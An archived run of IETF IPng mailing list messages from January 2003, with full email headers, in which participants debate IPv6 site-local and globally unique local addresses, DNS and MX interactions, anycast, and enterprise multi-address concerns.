Cc: moore@cs.utk.edu, ipng@sunroof.eng.sun.com
Subject: Re: GUPI/GUSLs and DNS
Message-Id: <20030123073102.0ec35b8e.moore@cs.utk.edu>
In-Reply-To: <Roam.SIMC.2.0.6.1043309408.14831.nordmark@bebop.france>
References: <20030122161246.544e8e27.moore@cs.utk.edu>
	<Roam.SIMC.2.0.6.1043309408.14831.nordmark@bebop.france>
X-Mailer: Sylpheed version 0.8.8claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, 23 Jan 2003 09:10:08 +0100 (CET)
Erik Nordmark <Erik.Nordmark@Sun.COM> wrote:

> 
> > I do not believe it is either necessary or appropriate to have DNS
> > provide only addresses that are reachable by the party making the query.
> 
> The question in my mind is whether it is appropriate to put addresses
> that are by design not globally reachable in the DNS.

As long as the addresses are unambiguous, I don't think this causes much harm.
Putting a name-to-address binding in the DNS is a statement of fact - address
A is associated with name N for length of time T - not an assurance that
anyone who can lookup the DNS name can use the service associated with that
name.  The latter depends on several things - not only being able to reach the
address but having permission to use the service, being able to authenticate
to the service, being able to speak the appropriate protocols, etc.


> But worse, the interaction between MX and A* records can cause more 
> spectacular failures.
> Assume a MX for *.example.com with points at mail.example.com
> AAAA for mail.example.com has both global and GUPI addresses.
> Works so far, perhaps with timeouts.
> 
> But when server.example.com has AAAA that is just GUPI then mail
> delivery to me@server.example.com will fail when the GUPI is not reachable,
> right?

Yes it will.  But not because you listed a GUPI in the DNS, but because you
failed to provide and advertise a server that was reachable by somebody who
wanted to send you mail.  Even then, you're not under any obligation to accept
mail from anyone who wishes to send it to you (RFC 2821 is quite clear on
this - though indefinitely returning "temporary failure" would be considered
antisocial).

Let's put the question in a different light.  In a sense, both v4 and v6
addresses are scoped - you cannot generally expect that a v4 host can
communicate with a v6 host or vice versa.  Attempts to provide general-purpose
conversion between the two have fallen into some degree of disfavor because
they introduce problems similar to those of NAT, and for various reasons it's
not reasonable to expect all apps to support both kinds of addresses.  So
should we discourage sites from associating A or AAAA records with names
because they're not globally reachable? 

It certainly makes sense to me to say "avoid using or advertising GUPIs when
you have globals".

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 05:04:33 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ND4X16001745;
	Thu, 23 Jan 2003 05:04:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0ND4WbN001744;
	Thu, 23 Jan 2003 05:04:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0ND4T16001737
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 05:04:29 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0ND4c4w021988
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 05:04:38 -0800 (PST)
Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [194.196.100.235])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA09587
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 06:04:31 -0700 (MST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0ND4K4a030808;
	Thu, 23 Jan 2003 14:04:20 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0ND4Im5216156;
	Thu, 23 Jan 2003 14:04:19 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA29808 from <brian@hursley.ibm.com>; Thu, 23 Jan 2003 14:04:17 +0100
Message-Id: <3E2FE826.8947F289@hursley.ibm.com>
Date: Thu, 23 Jan 2003 14:03:34 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Pekka Savola <pekkas@netcore.fi>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: comments on draft-hinden-ipv6-global-site-local-00
References: <Pine.LNX.4.44.0301231139430.7083-100000@netcore.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Pekka Savola wrote:
> 
> On Thu, 23 Jan 2003, Brian E Carpenter wrote:
> > > Substantial:
> > >
> > >    This document proposes an approach to allocating IPv6 Site-Local
> > >    address so they are globally unique and routable only inside of a
> > >    site.
> > >
> > > ==> it would be good to go a bit more in depth to how this is actually a
> > > problem.  For some it surely isn't; if they don't need to prepare for
> > > site-mergers, for example.
> >
> > Can you define the class of sites that absolutely, definitely,
> > until the end of time, are guaranteed not to merge?
> 
> Well, it depends on quite a bit about which is the usage model for
> site-locals.  For example, home nets probably don't merge if we would
> mandate that site-locals should not cross home-to-office VPN's.

Let me be provocative. With proper e2e security, VPNs will become historic.
And one of the benefits of IPv6 is supposd to be proper e2e security,
as a result of having proper e2e addressing. 

> 
> But of course, there can be not absolute guarantee.

Yes. Scenario: Mum and Dad share a LAN. One day they discover
that young Johnny has set up his own LAN in his bedroom.
They connect them together, and both of them have
printers on FEC0::0002.

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 05:43:59 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NDhw16001949;
	Thu, 23 Jan 2003 05:43:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0NDhwVL001948;
	Thu, 23 Jan 2003 05:43:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NDht16001941
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 05:43:55 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0NDi24w027643
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 05:44:03 -0800 (PST)
Received: from ms-smtp-03.southeast.rr.com (ms-smtp-03.southeast.rr.com [24.93.67.84])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA08843
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 06:43:57 -0700 (MST)
Received: from mail3.nc.rr.com (fe3 [24.93.67.50])
	by ms-smtp-03.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h0NDgpi6029167;
	Thu, 23 Jan 2003 08:42:52 -0500 (EST)
Received: from nc.rr.com ([63.97.174.228]) by mail3.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Thu, 23 Jan 2003 08:42:09 -0500
Message-ID: <3E2FF1FB.50102@nc.rr.com>
Date: Thu, 23 Jan 2003 08:45:31 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: itojun@iijlab.net
CC: alh-ietf@tndh.net, "'Margaret Wasserman'" <mrw@windriver.com>,
   "'Digambar Rasal'" <digambar@controlnet.co.in>, ipng@sunroof.eng.sun.com
Subject: Re: please reply I am posting 3rd time : Web Server addresses : Unicast
 , Multicast , Anycast
References: <20030123013040.099844B22@coconut.itojun.org>
In-Reply-To: <20030123013040.099844B22@coconut.itojun.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

itojun@iijlab.net wrote:
>>Yes that is what the spec says, but reality is always somewhat
>>different. There is no technical reason that an anycast address could
>>not be assigned to any group of hosts. The issue that must be dealt with
> 
> 
> 	there are technical reasons why anycast addresses can only be assigned
> 	to routers, and why anycast can be used with limited number of cases
> 	(like for instance it shouldn't be used as TCP endpoint address).
> 	draft-ietf-ipngwg-ipv6-anycast-analysis-01.txt

Itojun's analysis draft does a good job of describing the issues today.
Of course, I hope draft-haberman-ipv6-anycast-rr-00.txt helps to
remove some of those issues.

Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 11:19:28 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NJJS16004569;
	Thu, 23 Jan 2003 11:19:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0NJJSnj004568;
	Thu, 23 Jan 2003 11:19:28 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NJJO16004558
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 11:19:24 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0NJJO4w001698
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 11:19:24 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA18456
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 12:19:18 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id OAA25794;
	Thu, 23 Jan 2003 14:19:14 -0500 (EST)
Date: Thu, 23 Jan 2003 14:19:14 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301231919.OAA25794@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Erik Nordmark <Erik.Nordmark@Sun.COM> wrote:

|> This does not answer the question of why you assume that ISPs will change
|> their business models under v6.
|
|I said:
|> |The ISPs business model is about service differentiation.
|
|And I agree that they most likely will continue with service differentiation.
|
|
|But I think they can change the *realization* of service differentiation
|from using IP addresses to using something else, just as long as the
|new mechanism provides what they need.

In general, businesses do not like to change from known/understood models
to new ones unless they believe that the new model will bring some significant
new benefit.  But this is all rather abstract.  Limiting the number and
stability of IP addresses works very well for providers now.  We agree that
providers use this as a means of service differentiation.

Previously, you (and other contributors) have dismissed with some certainty my
concern that providers will continue to limit addresses under v6.  This has
been the basis for claiming that site local addresses are unnecessary to answer
the simple question: how does my internet-connected PC talk to my network
printer without my paying my provider for a second address?

Please explain *specifically* what new mechanism v6 supports for providers to
realize their service differentiation without limiting IP addresses, and show
why providers will be inclined to make the switch.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 11:24:10 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NJO916004619;
	Thu, 23 Jan 2003 11:24:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0NJO9WH004618;
	Thu, 23 Jan 2003 11:24:09 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NJO516004611
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 11:24:05 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0NJNuP26020;
	Thu, 23 Jan 2003 20:23:56 +0100 (MET)
Date: Thu, 23 Jan 2003 20:09:41 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: GUPI/GUSLs and DNS
To: Keith Moore <moore@cs.utk.edu>
Cc: Erik Nordmark <Erik.Nordmark@Sun.COM>, ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <20030123073102.0ec35b8e.moore@cs.utk.edu>
Message-ID: <Roam.SIMC.2.0.6.1043348981.13547.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> > But when server.example.com has AAAA that is just GUPI then mail
> > delivery to me@server.example.com will fail when the GUPI is not reachable,
> > right?
> 
> Yes it will.  But not because you listed a GUPI in the DNS, but because you
> failed to provide and advertise a server that was reachable by somebody who
> wanted to send you mail. 

GUPI addresses in the DNS definitely adds more ways for folks to produce 
bad configurations. 
And if we want to have GUPI instead of site-local this might be a common
configuration in conjunction with MX records.
And I wouldn't be surprised if this type of interaction is limited to MX
records. Anything which looks at multiple records in the DNS is
potentially at risk.

> It certainly makes sense to me to say "avoid using or advertising GUPIs when
> you have globals".

But by example can easily follow that advice and the problem remain.
mail.example.com can have a AAAA with just a global.
But server.example.com only has a GUPI assigned because it is
a host internal to the site that doesn't use external connectivity.
The AAAA with a GUPI for server.example.com takes precedence over the MX.

  Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 11:50:27 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NJoR16004900;
	Thu, 23 Jan 2003 11:50:27 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0NJoRXi004899;
	Thu, 23 Jan 2003 11:50:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NJoN16004892
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 11:50:23 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0NJoM4w012626
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 11:50:22 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA24597
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 12:50:12 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA12493;
	Thu, 23 Jan 2003 11:46:52 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0NJkmJ20776;
	Thu, 23 Jan 2003 11:46:48 -0800
X-mProtect: <200301231946> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.2.67, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdYQXJdG; Thu, 23 Jan 2003 11:46:46 PST
Message-ID: <3E3046B9.9020509@iprg.nokia.com>
Date: Thu, 23 Jan 2003 11:47:05 -0800
From: "Fred L. Templin" <ftemplin@iprg.nokia.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian E Carpenter <brian@hursley.ibm.com>
CC: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re: comments on draft-hinden-ipv6-global-site-local-00
References: <Pine.LNX.4.44.0301231139430.7083-100000@netcore.fi> <3E2FE826.8947F289@hursley.ibm.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian,

Brian E Carpenter wrote:
> Pekka Savola wrote:
> 
>>On Thu, 23 Jan 2003, Brian E Carpenter wrote:
>>
>>>>Substantial:
>>>>
>>>>   This document proposes an approach to allocating IPv6 Site-Local
>>>>   address so they are globally unique and routable only inside of a
>>>>   site.
>>>>
>>>>==> it would be good to go a bit more in depth to how this is actually a
>>>>problem.  For some it surely isn't; if they don't need to prepare for
>>>>site-mergers, for example.
>>>
>>>Can you define the class of sites that absolutely, definitely,
>>>until the end of time, are guaranteed not to merge?
>>
>>Well, it depends on quite a bit about which is the usage model for
>>site-locals.  For example, home nets probably don't merge if we would
>>mandate that site-locals should not cross home-to-office VPN's.
> 
> 
> Let me be provocative. With proper e2e security, VPNs will become historic.
> And one of the benefits of IPv6 is supposd to be proper e2e security,
> as a result of having proper e2e addressing. 
> 
> 
>>But of course, there can be not absolute guarantee.
> 
> 
> Yes. Scenario: Mum and Dad share a LAN. One day they discover
> that young Johnny has set up his own LAN in his bedroom.
> They connect them together, and both of them have
> printers on FEC0::0002.

Forgetting for the moment that the LANs in your example are
probably "flat" topologies and could instead be using link-local
addresses, how do you propose to prevent such duplicate assignments
when disconnected/intermittently connected sites merge? Use global
addresses always? If so, how can the global allocations be procured
and/or maintained when the sites rarely (if ever) connect to the
global Internet?

Thanks,

Fred
ftemplin@iprg.nokia.com


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 13:19:50 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NLJo16005190;
	Thu, 23 Jan 2003 13:19:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0NLJoGp005189;
	Thu, 23 Jan 2003 13:19:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NLJj16005179
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 13:19:46 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0NLJjgE002874
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 13:19:45 -0800 (PST)
Received: from klutz.cs.utk.edu (klutz.cs.utk.edu [160.36.56.50])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA12108
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 14:19:36 -0700 (MST)
Received: from localhost (localhost [127.0.0.1])
	by smtp.cs.utk.edu (Postfix) with ESMTP
	id D1A641407D; Thu, 23 Jan 2003 15:52:30 -0500 (EST)
Received: from klutz.cs.utk.edu ([127.0.0.1]) by localhost (klutz [127.0.0.1]) (amavisd-new) with ESMTP id 27319-07; Thu, 23 Jan 2003 15:52:30 -0000 (EST)
Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43])
	by smtp.cs.utk.edu (Postfix) with SMTP
	id 2FB8914079; Thu, 23 Jan 2003 15:52:30 -0500 (EST)
Date: Thu, 23 Jan 2003 15:52:28 -0500
From: Keith Moore <moore@cs.utk.edu>
To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Cc: moore@cs.utk.edu, ipng@sunroof.eng.sun.com
Subject: Re: GUPI/GUSLs and DNS
Message-Id: <20030123155228.0fb85ca7.moore@cs.utk.edu>
In-Reply-To: <Roam.SIMC.2.0.6.1043348981.13547.nordmark@bebop.france>
References: <20030123073102.0ec35b8e.moore@cs.utk.edu>
	<Roam.SIMC.2.0.6.1043348981.13547.nordmark@bebop.france>
X-Mailer: Sylpheed version 0.8.5claws (GTK+ 1.2.10; )
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: by amavisd-new amavisd-new-20020630 with ClamAV
X-Razor-id: d808208d7b496aaba8b91a572e8cc84f08529215
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, 23 Jan 2003 20:09:41 +0100 (CET)
Erik Nordmark <Erik.Nordmark@sun.com> wrote:

> > > But when server.example.com has AAAA that is just GUPI then mail
> > > delivery to me@server.example.com will fail when the GUPI is not
> > > reachable, right?
> > 
> > Yes it will.  But not because you listed a GUPI in the DNS, but
> > because you failed to provide and advertise a server that was
> > reachable by somebody who wanted to send you mail. 
> 
> GUPI addresses in the DNS definitely adds more ways for folks to
> produce bad configurations. 
> And if we want to have GUPI instead of site-local this might be a
> common configuration in conjunction with MX records.
> And I wouldn't be surprised if this type of interaction is limited to
> MX records. Anything which looks at multiple records in the DNS is
> potentially at risk.

What does multiple records have to do with it?  For that matter, what
does DNS have to do with it?  The issue is that host A wants to contact
host B and cannot do so.  Does it really matter much whether the reason
is that host A cannot look up B's DNS record, or that host A gets a
timeout, or that host A gets an ICMP "prohibited" message when trying to
reach host B?

(Yes, it does matter, but the differences are subtle.  If A can't look
up B's name in the DNS then A will be inclined to believe that B does
not exist.  If A times out when trying to contact B then A will be
inclined to believe that there is a network outage.  The only thing we
currently have that comes close to giving a correct indication is ICMP.)

And this issue isn't even specific to GUPIs - it exists for any address
for which policy dictates cannot exchange packets with arbitrary hosts
on the Internet.  This is and will continue to be a very common
occurance.  And in some sense, the decision to not connect to the public
Internet and connect only via private agreement to other networks (and
therefore to use GUPIs rather than aggregatable addresses) is a policy
decision.

Of course if an enterprise doesn't want to advertise all of its DNS
zones to the outside world that's its own business.  But we shouldn't
get hung up on trying to make the set of information that DNS can return
to a particular host closely reflect the set of services that the host
can reach.  It's not terribly useful, and it's misleading.

> > It certainly makes sense to me to say "avoid using or advertising
> > GUPIs when you have globals".
> 
> But by example can easily follow that advice and the problem remain.
> mail.example.com can have a AAAA with just a global.
> But server.example.com only has a GUPI assigned because it is
> a host internal to the site that doesn't use external connectivity.
> The AAAA with a GUPI for server.example.com takes precedence over the
> MX.

Huh?  If there's an MX and an address record for the same domain,
the MX always takes precedence over the address record.

-- 
I tried enlightenment but it kept crashing.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 13:41:59 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NLfx16005360;
	Thu, 23 Jan 2003 13:41:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0NLfwsR005359;
	Thu, 23 Jan 2003 13:41:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NLft16005352
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 13:41:55 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0NLft4w015972
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 13:41:55 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA26783
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 13:41:49 -0800 (PST)
Subject: RE: "unique enough" [RE: globally unique site local addresses]
Date: Thu, 23 Jan 2003 13:41:49 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B60@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
Content-class: urn:content-classes:message
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
Thread-Topic: "unique enough" [RE: globally unique site local addresses]
Thread-Index: AcLCvopix2TKYoGeRMmzxfIvKsQNrgAZqAPw
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Brian Carpenter" <brian@hursley.ibm.com>
Cc: "Erik Nordmark" <Erik.Nordmark@Sun.COM>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0NLfu16005353
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian,

>>> Erik Nordmark wrote:
>>> On the enterprise side I can see that folks have been
>>> bitting or are concerned about renumbering costs if they
>>> were to use PA addresses.
>>> But I don't have any data on how many consider having one
>>> PA prefix per ISP good enough since it allows some graceful
>>> cutover when changing ISPs.
 
>> Michel Py wrote:
>> Not many. We have had many contributions that multiple
>> addresses are a no-go to begin with.

> Brian E Carpenter wrote:
> Er, multiple addresses are part of the IPv6 architecture.
> And SCTP deals with them, even if TCP doesn't. It may be
> something new and different, but there's no way you can
> declare it a no-go.

This coin has two sides. One side is what you say above, which is very
true.
To set the record straight: contrary to multi6, ipv6mh has acknowledged
since the beginning that multi-address host solutions are part of the
big picture. They are in the charter and are being discussed. In
Atlanta, we had a 1hr+ presentation from Lode Coene about SCTP, another
by Christian Huitema about his solution. I'm not saying that
multi-address solutions are bad, I'm the one that made them part of the
big multihoming picture.


That being said, the other side of the coin is that most enterprise
network managers don't want multi-address schemes, and for good reasons.
A large organization implements, on one form or another:
- Defense in depth.
- Internal firewalling.
- Policy routing.
- Some model like core/distribution/access.
- Traffic engineering.

That means several hundreds or several thousands access-lists, firewall
policies, route-maps, etc. If you have three addresses per host, you
triple the configuration and double the complexity, not to mention
troubleshooting nightmares because you will now have to figure out which
address is being used before beginning to troubleshoot. Not good.

In many large organizations, there is a split between the Systems
manager that could be open to a multi-address solution and the Network
manager that does not want it. They might be office buddies, but they
also are mortal enemies because they compete for the same scarce budget
dollars. Bottom line is that in most situations, the network
administrator is the one that calls the shots in terms of addressing. 3
times the complexity is effectively a no-go.

In short: multiple addresses on hosts are half of the solution, but the
other half is a globally unique address used as an identifier in a
dual-space system.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
